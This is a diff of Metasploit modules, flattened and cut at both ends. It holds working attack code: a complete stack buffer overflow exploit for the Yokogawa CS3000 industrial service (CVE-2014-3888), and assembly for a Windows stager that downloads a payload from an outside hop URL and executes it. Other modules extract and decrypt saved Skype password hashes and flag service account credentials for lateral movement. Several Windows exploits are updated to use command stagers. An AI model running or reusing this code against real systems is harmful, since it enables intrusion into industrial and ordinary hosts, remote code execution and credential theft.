||||
NOTE: This module will leave a payload executable on the target system when the
|
||||
attack is finished, as well as the UDF DLL, and will define or redefine sys_eval()
|
||||
and sys_exec() functions.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the lib_mysqludf_sys.dll binaries
|
||||
'todb' # this Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
# Bernardo's work with cmd exec via udf
|
||||
[ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ],
|
||||
# Advice from 2005 on securing MySQL on Windows, kind of helpful.
|
||||
[ 'URL', 'http://dev.mysql.com/tech-resources/articles/securing_mysql_windows.html' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit)
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 16 2009' # Date of Bernardo's blog post.
|
||||
NOTE: This module will leave a payload executable on the target system when the
|
||||
attack is finished, as well as the UDF DLL, and will define or redefine sys_eval()
|
||||
and sys_exec() functions.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the lib_mysqludf_sys.dll binaries
|
||||
'todb' # this Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
# Bernardo's work with cmd exec via udf
|
||||
[ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ],
|
||||
# Advice from 2005 on securing MySQL on Windows, kind of helpful.
|
||||
[ 'URL', 'http://dev.mysql.com/tech-resources/articles/securing_mysql_windows.html' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit)
|
||||
],
|
||||
'CmdStagerFlavor' => 'vbs',
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 16 2009' # Date of Bernardo's blog post.
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
|
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -40,6 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# This module has been tested on Oracle 10g Release 1
|
||||
# where the Oracle Job Scheduler runs as SYSTEM on Windows
|
||||
'Targets' => [['Automatic',{}]],
|
||||
'CmdStagerFlavor' => 'vbs',
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Jan 01 2007',
|
||||
'DefaultTarget' => 0))
|
||||
|
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -45,6 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
[ 'ABB MicroSCADA Pro SYS600 9.3', { } ]
|
||||
],
|
||||
'CmdStagerFlavor' => 'vbs',
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Apr 05 2013'
|
||||
|
|
|
@ -0,0 +1,75 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Udp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability
|
||||
exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create
|
||||
logs using functions like vsprintf and memcpy in a insecure way. This module has been
|
||||
tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Redsadic <julian.vilas[at]gmail.com>',
|
||||
'juan vazquez'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-3888'],
|
||||
['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'],
|
||||
['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'],
|
||||
['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret)
|
||||
'DisableNops' => true,
|
||||
'BadChars' => "\x00",
|
||||
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3',
|
||||
{
|
||||
'Ret' => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll
|
||||
'Offset' => 438
|
||||
}
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => 'May 23 2014',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(20010)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect_udp
|
||||
|
||||
sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header
|
||||
sploit << rand_text(target['Offset'])
|
||||
sploit << [target.ret].pack("V")
|
||||
sploit << payload.encoded
|
||||
|
||||
print_status("Trying target #{target.name}, sending #{sploit.length} bytes...")
|
||||
udp_sock.put(sploit)
|
||||
|
||||
disconnect_udp
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::WinRM
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
delivery: Powershell 2.0 and VBS CmdStager.
|
||||
|
||||
The module will check if Powershell 2.0 is available, and if so uses
|
||||
that method. Otherwise it falls back to the VBS Cmdstager which is
|
||||
that method. Otherwise it falls back to the VBS CmdStager which is
|
||||
less stealthy.
|
||||
|
||||
IMPORTANT: If targeting an x64 system with the Powershell method
|
||||
|
@ -41,6 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'WfsDelay' => 30,
|
||||
'EXITFUNC' => 'thread',
|
||||
'InitialAutoRunScript' => 'post/windows/manage/smart_migrate',
|
||||
'CMDSTAGER::DECODER' => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
||||
|
@ -59,12 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
OptString.new('PASSWORD', [ true, 'A specific password to authenticate with' ]),
|
||||
], self.class
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',
|
||||
File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_sleep")]),
|
||||
], self.class)
|
||||
deregister_options('CMDSTAGER::FLAVOR')
|
||||
@compat_mode = false
|
||||
end
|
||||
|
||||
|
@ -78,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return if path.nil?
|
||||
exec_script(path)
|
||||
else
|
||||
execute_cmdstager
|
||||
execute_cmdstager({:flavor => :vbs})
|
||||
end
|
||||
handler
|
||||
end
|
||||
|
|
|
@ -0,0 +1,291 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'uri'
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_hop_http'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse Hop HTTP Stager',
|
||||
'Description' => "Tunnel communication over an HTTP hop point (note you must first upload "+
|
||||
"the hop.php found at #{File.expand_path("../../../../data/php/hop.php", __FILE__)} "+
|
||||
"to the HTTP server you wish to use as a hop)",
|
||||
'Author' =>
|
||||
[
|
||||
'scriptjunkie <scriptjunkie[at]scriptjunkie.us>',
|
||||
'hdm'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseHopHttp,
|
||||
'Convention' => 'sockedi http',
|
||||
'DefaultOptions' => { 'WfsDelay' => 30 },
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
# None, they get embedded in the shellcode
|
||||
}
|
||||
}
|
||||
))
|
||||
|
||||
deregister_options('LHOST', 'LPORT')
|
||||
|
||||
register_options([
|
||||
OptString.new('HOPURL', [ true, "The full URL of the hop script", "http://example.com/hop.php" ]
|
||||
)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Do not transmit the stage over the connection. We handle this via HTTP
|
||||
#
|
||||
def stage_over_connection?
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
uri = URI(datastore['HOPURL'])
|
||||
#create actual payload
|
||||
payload_data = <<EOS
|
||||
cld ; clear direction flag
|
||||
call start ; start main routine
|
||||
; Stephen Fewer's block_api
|
||||
; block_api code (Stephen Fewer)
|
||||
api_call:
|
||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||
mov ebp, esp ; Create a new stack frame
|
||||
xor edx, edx ; Zero EDX
|
||||
mov edx, fs:[edx+48] ; Get a pointer to the PEB
|
||||
mov edx, [edx+12] ; Get PEB->Ldr
|
||||
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod:
|
||||
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
||||
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
sub al, 0x20 ; If so normalise to uppercase
|
||||
not_lowercase: ;
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
loop loop_modname ; Loop until we have read enough
|
||||
; We now have the module hash computed
|
||||
push edx ; Save the current position in the module list for later
|
||||
push edi ; Save the current module hash for later
|
||||
; Proceed to iterate the export address table,
|
||||
mov edx, [edx+16] ; Get this modules base address
|
||||
mov eax, [edx+60] ; Get PE header
|
||||
add eax, edx ; Add the modules base address
|
||||
mov eax, [eax+120] ; Get export tables RVA
|
||||
test eax, eax ; Test if no export address table is present
|
||||
jz get_next_mod1 ; If no EAT present, process the next module
|
||||
add eax, edx ; Add the modules base address
|
||||
push eax ; Save the current modules EAT
|
||||
mov ecx, [eax+24] ; Get the number of function names
|
||||
mov ebx, [eax+32] ; Get the rva of the function names
|
||||
add ebx, edx ; Add the modules base address
|
||||
; Computing the module hash + function hash
|
||||
get_next_func: ;
|
||||
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards) process next mod
|
||||
dec ecx ; Decrement the function name counter
|
||||
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
||||
add esi, edx ; Add the modules base address
|
||||
xor edi, edi ; Clear EDI which will store the hash of the function name
|
||||
; And compare it to the one we want
|
||||
loop_funcname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||
add edi, [ebp-8] ; Add the current module hash to the function hash
|
||||
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
; If found, fix up stack, call the function and then value else compute the next one...
|
||||
pop eax ; Restore the current modules EAT
|
||||
mov ebx, [eax+36] ; Get the ordinal table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
||||
mov ebx, [eax+28] ; Get the function addresses table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
||||
add eax, edx ; Add the modules base address to get the functions actual VA
|
||||
; We now fix up the stack and perform the call to the desired function...
|
||||
finish:
|
||||
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address
|
||||
pop ebx ; Clear off the current modules hash
|
||||
pop ebx ; Clear off the current position in the module list
|
||||
popad ; Restore all of the callers registers, bar EAX, ECX and EDX
|
||||
pop ecx ; Pop off the origional return address our caller will have pushed
|
||||
pop edx ; Pop off the hash value our caller will have pushed
|
||||
push ecx ; Push back the correct return value
|
||||
jmp eax ; Jump into the required function
|
||||
; We now automagically return to the correct caller...
|
||||
get_next_mod: ;
|
||||
pop eax ; Pop off the current (now the previous) modules EAT
|
||||
get_next_mod1: ;
|
||||
pop edi ; Pop off the current (now the previous) modules hash
|
||||
pop edx ; Restore our position in the module list
|
||||
mov edx, [edx] ; Get the next module
|
||||
jmp.i8 next_mod ; Process this module
|
||||
|
||||
; actual routine
|
||||
start:
|
||||
pop ebp ; get ptr to block_api routine
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the socket for the connection to the server
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
load_wininet:
|
||||
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
|
||||
push 0x696e6977 ; ...
|
||||
push esp ; Push a pointer to the "wininet" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "wininet" )
|
||||
|
||||
internetopen:
|
||||
xor edi,edi
|
||||
push edi ; DWORD dwFlags
|
||||
push edi ; LPCTSTR lpszProxyBypass
|
||||
push edi ; LPCTSTR lpszProxyName
|
||||
push edi ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
push 0 ; NULL pointer
|
||||
push esp ; LPCTSTR lpszAgent ("\x00")
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
|
||||
jmp.i8 dbl_get_server_host
|
||||
|
||||
internetconnect:
|
||||
pop ebx ; Save the hostname pointer
|
||||
xor ecx, ecx
|
||||
push ecx ; DWORD_PTR dwContext (NULL)
|
||||
push ecx ; dwFlags
|
||||
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
||||
push ecx ; password
|
||||
push ecx ; username
|
||||
push #{uri.port} ; PORT
|
||||
push ebx ; HOSTNAME
|
||||
push eax ; HINTERNET hInternet
|
||||
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
||||
call ebp
|
||||
|
||||
jmp get_server_uri
|
||||
|
||||
httpopenrequest:
|
||||
pop ecx
|
||||
xor edx, edx ; NULL
|
||||
push edx ; dwContext (NULL)
|
||||
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags
|
||||
;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
;0x00000200 | ; INTERNET_FLAG_NO_UI
|
||||
;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION
|
||||
push edx ; accept types
|
||||
push edx ; referrer
|
||||
push edx ; version
|
||||
push ecx ; url
|
||||
push edx ; method
|
||||
push eax ; hConnection
|
||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||
call ebp
|
||||
mov esi, eax ; hHttpRequest
|
||||
|
||||
set_retry:
|
||||
push 0x10
|
||||
pop ebx
|
||||
|
||||
httpsendrequest:
|
||||
xor edi, edi
|
||||
push edi ; optional length
|
||||
push edi ; optional
|
||||
push edi ; dwHeadersLength
|
||||
push edi ; headers
|
||||
push esi ; hHttpRequest
|
||||
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz allocate_memory
|
||||
|
||||
try_it_again:
|
||||
dec ebx
|
||||
jz failure
|
||||
jmp.i8 httpsendrequest
|
||||
|
||||
dbl_get_server_host:
|
||||
jmp get_server_host
|
||||
|
||||
get_server_uri:
|
||||
call httpopenrequest
|
||||
|
||||
server_uri:
|
||||
db "#{Rex::Text.hexify(uri.request_uri, 99999).strip}?/12345", 0x00
|
||||
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
|
||||
allocate_memory:
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (8Mb ought to do us)
|
||||
push edi ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
|
||||
download_more:
|
||||
push edi ; &bytesRead
|
||||
push 8192 ; read length
|
||||
push ebx ; buffer
|
||||
push esi ; hRequest
|
||||
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
|
||||
call ebp
|
||||
|
||||
test eax,eax ; download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
get_server_host:
|
||||
call internetconnect
|
||||
|
||||
server_host:
|
||||
db "#{Rex::Text.hexify(uri.host, 99999).strip}", 0x00
|
||||
|
||||
EOS
|
||||
self.module_info['Stager']['Assembly'] = payload_data.to_s
|
||||
super
|
||||
end
|
||||
end
|
|
@ -0,0 +1,179 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex'
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Registry
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather Skype Saved Password Hash Extraction',
|
||||
'Description' => %q{ This module finds saved login credentials
|
||||
for the Windows Skype client. The hash is in MD5 format
|
||||
that uses the username, a static string "\nskyper\n" and the
|
||||
password. The resulting MD5 is stored in the Config.xml file
|
||||
for the user after being XOR'd against a key generated by applying
|
||||
2 SHA1 hashes of "salt" data which is stored in ProtectedStorage
|
||||
using the Windows API CryptProtectData against the MD5 },
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'mubix', # module
|
||||
'hdm' # crypto help
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'References' => [
|
||||
['URL', 'http://www.recon.cx/en/f/vskype-part2.pdf'],
|
||||
['URL', 'http://insecurety.net/?p=427'],
|
||||
['URL', 'https://github.com/skypeopensource/tools']
|
||||
]
|
||||
))
|
||||
end
|
||||
|
||||
# To generate test hashes in ruby use:
|
||||
=begin
|
||||
|
||||
require 'openssl'
|
||||
|
||||
username = "test"
|
||||
passsword = "test"
|
||||
|
||||
hash = Digest::MD5.new
|
||||
hash.update username
|
||||
hash.update "\nskyper\n"
|
||||
hash.update password
|
||||
|
||||
puts hash.hexdigest
|
||||
|
||||
=end
|
||||
|
||||
def decrypt_reg(data)
|
||||
rg = session.railgun
|
||||
pid = session.sys.process.getpid
|
||||
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
mem = process.memory.allocate(512)
|
||||
process.memory.write(mem, data)
|
||||
|
||||
if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
|
||||
addr = [mem].pack("V")
|
||||
len = [data.length].pack("V")
|
||||
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
|
||||
len, addr = ret["pDataOut"].unpack("V2")
|
||||
else
|
||||
# Convert using rex, basically doing: [mem & 0xffffffff, mem >> 32].pack("VV")
|
||||
addr = Rex::Text.pack_int64le(mem)
|
||||
len = Rex::Text.pack_int64le(data.length)
|
||||
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
|
||||
pData = ret["pDataOut"].unpack("VVVV")
|
||||
len = pData[0] + (pData[1] << 32)
|
||||
addr = pData[2] + (pData[3] << 32)
|
||||
end
|
||||
|
||||
return "" if len == 0
|
||||
return process.memory.read(addr, len)
|
||||
end
|
||||
|
||||
# Get the "Salt" unencrypted from the registry
|
||||
def get_salt
|
||||
print_status "Checking for encrypted salt in the registry"
|
||||
vprint_status "Checking: HKCU\\Software\\Skype\\ProtectedStorage - 0"
|
||||
rdata = registry_getvaldata('HKCU\\Software\\Skype\\ProtectedStorage', '0')
|
||||
print_good("Salt found and decrypted")
|
||||
return decrypt_reg(rdata)
|
||||
end
|
||||
|
||||
# Pull out all the users in the AppData directory that have config files
|
||||
def get_config_users(appdatapath)
|
||||
users = []
|
||||
dirlist = session.fs.dir.entries(appdatapath)
|
||||
dirlist.shift(2)
|
||||
dirlist.each do |dir|
|
||||
if file?(appdatapath + "\\#{dir}" + '\\config.xml') == false
|
||||
vprint_error "Config.xml not found in #{appdatapath}\\#{dir}\\"
|
||||
next
|
||||
end
|
||||
print_good "Found Config.xml in #{appdatapath}\\#{dir}\\"
|
||||
users << dir
|
||||
end
|
||||
return users
|
||||
end
|
||||
|
||||
def parse_config_file(config_path)
|
||||
hex = ""
|
||||
configfile = read_file(config_path)
|
||||
configfile.each_line do |line|
|
||||
if line =~ /Credentials/i
|
||||
hex = line.split('>')[1].split('<')[0]
|
||||
end
|
||||
end
|
||||
return hex
|
||||
end
|
||||
|
||||
|
||||
|
||||
def decrypt_blob(credhex, salt)
|
||||
|
||||
# Convert Config.xml hex to binary format
|
||||
blob = [credhex].pack("H*")
|
||||
|
||||
# Concatinate SHA digests for AES key
|
||||
sha = Digest::SHA1.digest("\x00\x00\x00\x00" + salt) + Digest::SHA1.digest("\x00\x00\x00\x01" + salt)
|
||||
|
||||
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
|
||||
aes.encrypt
|
||||
aes.key = sha[0,32] # Use only 32 bytes of key
|
||||
final = aes.update([0].pack("N*") * 4) # Encrypt 16 \x00 bytes
|
||||
final << aes.final
|
||||
xor_key = final[0,16] # Get only the first 16 bytes of result
|
||||
|
||||
vprint_status("XOR Key: #{xor_key.unpack("H*")[0]}")
|
||||
|
||||
decrypted = []
|
||||
|
||||
# Use AES/SHA crypto for XOR decoding
|
||||
(0...16).each do |i|
|
||||
decrypted << (blob[i].unpack("C*")[0] ^ xor_key[i].unpack("C*")[0])
|
||||
end
|
||||
|
||||
return decrypted.pack("C*").unpack("H*")[0]
|
||||
end
|
||||
|
||||
|
||||
def get_config_creds(salt)
|
||||
users = []
|
||||
appdatapath = expand_path("%AppData%") + "\\Skype"
|
||||
print_status ("Checking for config files in %APPDATA%")
|
||||
users = get_config_users(appdatapath)
|
||||
if users.any?
|
||||
users.each do |user|
|
||||
print_status("Parsing #{appdatapath}\\#{user}\\Config.xml")
|
||||
credhex = parse_config_file("#{appdatapath}\\#{user}\\config.xml")
|
||||
if credhex == ""
|
||||
print_error("No Credentials3 blob found for #{user} in Config.xml skipping")
|
||||
next
|
||||
else
|
||||
hash = decrypt_blob(credhex, salt)
|
||||
print_good "Skype MD5 found: #{user}:#{hash}"
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error "No users with configs found. Exiting"
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
salt = get_salt
|
||||
if salt != nil
|
||||
creds = get_config_creds(salt)
|
||||
else
|
||||
print_error "No salt found. Cannot continue without salt, exiting"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -16,8 +16,8 @@ class Metasploit3 < Msf::Post
|
|||
'Name' => "Windows Gather Service Info Enumeration",
|
||||
'Description' => %q{
|
||||
This module will query the system for services and display name and configuration
|
||||
info for each returned service. It allows you to optionally search the credentials, path, or start
|
||||
type for a string and only return the results that match. These query operations
|
||||
info for each returned service. It allows you to optionally search the credentials, path,
|
||||
or start type for a string and only return the results that match. These query operations
|
||||
are cumulative and if no query strings are specified, it just returns all services.
|
||||
NOTE: If the script hangs, windows firewall is most likely on and you did not
|
||||
migrate to a safe process (explorer.exe for example).
|
||||
|
@ -36,9 +36,12 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
|
||||
|
||||
def run
|
||||
|
||||
# set vars
|
||||
lootString = ""
|
||||
credentialCount = {}
|
||||
qcred = datastore["CRED"] || nil
|
||||
qpath = datastore["PATH"] || nil
|
||||
if datastore["TYPE"] == "All"
|
||||
|
@ -47,24 +50,29 @@ class Metasploit3 < Msf::Post
|
|||
qtype = datastore["TYPE"]
|
||||
end
|
||||
if qcred
|
||||
print_status("Credential Filter: " + qcred)
|
||||
print_status("Credential Filter: #{qcred}")
|
||||
end
|
||||
if qpath
|
||||
print_status("Executable Path Filter: " + qpath)
|
||||
print_status("Executable Path Filter: #{qpath}")
|
||||
end
|
||||
if qtype
|
||||
print_status("Start Type Filter: " + qtype)
|
||||
print_status("Start Type Filter: #{qtype}")
|
||||
end
|
||||
|
||||
if datastore['VERBOSE']
|
||||
print_status("Listing Service Info for matching services:")
|
||||
else
|
||||
print_status("Detailed output is only printed when VERBOSE is set to True. Running this module can take some time.\n")
|
||||
end
|
||||
|
||||
print_status("Listing Service Info for matching services:")
|
||||
service_list.each do |sname|
|
||||
srv_conf = {}
|
||||
isgood = true
|
||||
#make sure we got a service name
|
||||
# make sure we got a service name
|
||||
if sname
|
||||
begin
|
||||
srv_conf = service_info(sname)
|
||||
#filter service based on filters passed, the are cumulative
|
||||
# filter service based on filters passed, the are cumulative
|
||||
if qcred and ! srv_conf['Credentials'].downcase.include? qcred.downcase
|
||||
isgood = false
|
||||
end
|
||||
|
@ -75,22 +83,45 @@ class Metasploit3 < Msf::Post
|
|||
if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase
|
||||
isgood = false
|
||||
end
|
||||
|
||||
#if we are still good return the info
|
||||
if isgood
|
||||
vprint_status("\tName: #{sname}")
|
||||
vprint_good("\t\tStartup: #{srv_conf['Startup']}")
|
||||
vprint_good("\t\tCommand: #{srv_conf['Command']}")
|
||||
vprint_good("\t\tCredentials: #{srv_conf['Credentials']}")
|
||||
# count the occurance of specific credentials services are running as
|
||||
serviceCred = srv_conf['Credentials'].upcase
|
||||
unless serviceCred.empty?
|
||||
if credentialCount.has_key?(serviceCred)
|
||||
credentialCount[serviceCred] += 1
|
||||
else
|
||||
credentialCount[serviceCred] = 1
|
||||
# let the user know a new service account has been detected for possible lateral
|
||||
# movement opportunities
|
||||
print_good("New service credential detected: #{sname} is running as '#{srv_conf['Credentials']}'")
|
||||
end
|
||||
end
|
||||
rescue
|
||||
|
||||
# if we are still good return the info
|
||||
if isgood
|
||||
msgString = "\tName: #{sname}"
|
||||
msgString << "\n\t\tStartup: #{srv_conf['Startup']}"
|
||||
#remove invalid char at the end
|
||||
commandString = srv_conf['Command']
|
||||
commandString.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"")
|
||||
msgString << "\n\t\t#{commandString}"
|
||||
msgString << "\n\t\tCredentials: #{srv_conf['Credentials']}\n"
|
||||
vprint_good(msgString)
|
||||
lootString << msgString
|
||||
end
|
||||
rescue ::Exception => e
|
||||
# July 3rd 2014 wchen-r7: Not very sure what exceptions this method is trying to rescue,
|
||||
# probably the typical shut-everything-up coding habit. We'll have to fix this later,
|
||||
